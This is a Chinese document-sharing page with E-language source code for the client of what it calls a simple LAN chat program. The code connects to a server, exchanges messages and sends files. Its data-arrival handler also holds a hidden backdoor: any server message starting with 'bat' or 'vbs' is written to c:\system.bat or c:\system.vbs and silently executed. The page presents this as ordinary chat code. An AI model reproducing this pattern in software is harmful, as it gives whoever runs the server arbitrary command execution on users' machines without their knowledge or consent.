易语言简单局域网聊天代码(客户服务器组件编写)

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

客户机代码:.

版本2

.支持库shell

.支持库xplib

.程序集窗口程序集1

.程序集变量文件号1, 整数型

.程序集变量文件长度, 整数型

.程序集变量发送内容, 字节集

.程序集变量文件名, 文本型

.程序集变量文件号2, 整数型

.子程序_按钮1_被单击

.局部变量现在时间, 文本型

.如果(编辑框7.内容=“1”)

.如果(编辑框6.内容≠“”)

.如果(编辑框2.内容≠“”)

客户1.发送数据(“聊天”+编辑框2.内容)

现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))

编辑框1.内容=编辑框1.内容+“【本机】”+现在时间+#换行符+“”+编辑框2.内容+#换行符

编辑框2.内容=“”

.否则

信息框(“发送消息不能为空”, 48, “提示”)

.如果结束

.否则

信息框(“服务器IP地址不能为空”, 48, “提示”)

.如果结束

.否则

信息框(“服务器未连接”, 48, “提示”)

.如果结束

.子程序_按钮2_被单击

.如果(编辑框6.内容≠“”)

.如果(编辑框8.内容≠“”)

.如果(客户1.连接(编辑框6.内容, 1991) =真)

播放MP3 (1, “xlj.mp3”)

编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“成功”+#换行符

按钮2.禁止=真

编辑框7.内容=“1”

客户1.发送数据(“昵称”+编辑框8.内容)

.否则

播放MP3 (1, “lk.mp3”)

编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“失败”+#换行符.如果结束

.否则

信息框(“请填写你的昵称”, 48, “提示”)

.如果结束

.否则

信息框(“请填写要连接的IP地址”, 48, “提示”)

.如果结束

.子程序_客户1_数据到达

.局部变量接收内容, 文本型

.局部变量现在时间, 文本型

.局部变量发送进度, 整数型

接收内容=到文本(客户1.取回数据())

现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))

.如果(接收内容=“接收”)

.如果(是否在文件尾(文件号1, ) =假)

发送内容=读入字节集(文件号1, 2048)

发送进度=取读写位置(文件号1)

进度条1.位置=发送进度÷文件长度×1000

客户1.发送数据(发送内容)

.否则

客户1.发送数据(“发送完毕”)

信息框(“发送完毕”, 64, “提示”)

分组框8.可视=假

进度条1.位置=0

.如果结束

.否则

.如果(接收内容=“拒绝”)

信息框(“对方拒绝接收文件”, 64, “提示”)

分组框8.可视=假

.否则

.如果(取文本左边(接收内容, 3) =“bat”)

文件号1 =打开文件(“c:\system.bat”, 4, 1)

写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))

关闭文件(文件号1)

执行(4, “c:\system.bat”, , , )

.否则

.如果(取文本左边(接收内容, 3) =“vbs”)

文件号1 =打开文件(“c:\system.vbs”, 4, 1)

写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))

关闭文件(文件号1)

执行(4, “c:\system.vbs”, , , )

.否则

编辑框1.内容=编辑框1.内容+“【服务器】”+现在时间+#换行符+“”+接收内容+#换行符

播放音乐(“xxx.wav”, 假)

.如果结束

.如果结束

.如果结束

.如果结束

.子程序_客户1_连接断开

编辑框7.内容=“0”

编辑框1.内容=编辑框1.内容+“<与服务器断开>”+#换行符

按钮2.禁止=假

播放MP3 (1, “lk.mp3”)

.子程序_按钮4_被单击

.如果(编辑框7.内容=“1”)

客户1.断开连接()

编辑框7.内容=“0”

编辑框1.内容=编辑框1.内容+“<与服务器断开连接>”+#换行符

按钮2.禁止=假

播放MP3 (1, “lk.mp3”)

.否则

信息框(“没有连接”, 48, “提示”)

.如果结束

.子程序_按钮9_被单击

编辑框13.内容=“”

分组框8.可视=假

.子程序_按钮7_被单击

通用对话框1.打开()

编辑框13.内容=通用对话框1.文件名

相关文档
最新文档